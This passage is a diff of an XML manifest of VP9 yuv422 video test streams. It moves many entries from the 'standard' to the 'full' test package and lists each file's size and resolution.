   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=328434,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=328434,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=347176,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=347176,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=262242,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=262242,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=346320,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=346320,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1325887,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34605,10 +34605,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=59767273,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=11744371,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34617,7 +34617,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=59767273,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=4879966,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34632,55 +34632,55 @@
     <value>mime=video/x-vnd.on2.vp9,size=2161347,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=671222,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=671222,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=317765,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=317765,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=87002,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=87002,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335157,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335157,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335263,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335263,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335119,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335119,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334607,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334607,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335585,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335585,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334815,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334815,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334815,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334815,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=281884,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=281884,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_noFrmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=335567,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_1x1.webm">
     <value>mime=video/x-vnd.on2.vp9,size=947662,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34770,7 +34770,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=948197,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=693681,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=693681,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_downScale_10_noKey_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=948197,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34827,7 +34827,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=880500,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=272449,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=272449,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_frmPar_sharp0_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=948197,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -34956,7 +34956,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=948742,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=693750,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=693750,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_downScale_10_noKey_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=948742,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -35013,7 +35013,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=882457,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=273833,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=273833,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_3840x2160p50f32/crowd_3840x2160p50f32_noFrmPar_sharp0_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=948742,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -35058,106 +35058,106 @@
     <value>mime=video/x-vnd.on2.vp9,size=948742,width=3840,height=2160,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40740,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40740,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40797,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40797,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40742,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40742,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_adaptQCom_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40067,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40067,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_adaptQVar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40611,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40611,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40975,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40975,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_5s_1t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41046,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41046,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_0f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40924,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40924,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_15f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=40711,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=40711,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_15f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41023,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41023,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_0s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41046,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41046,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_5s_2t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41046,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41046,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_arnr_5f_5s_3t_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41046,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41046,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_autAltRef_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_autAltRef_8lag_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41717,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41717,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cbr_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=44469,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=44469,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq0_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq10_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq16_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq32_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq4_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41468,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_cq63_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=37130,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=37130,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_10_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_20_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/params/crowd_640x360p50f32/crowd_640x360p50f32_frmPar_downScale_50_noKey_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=41053,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
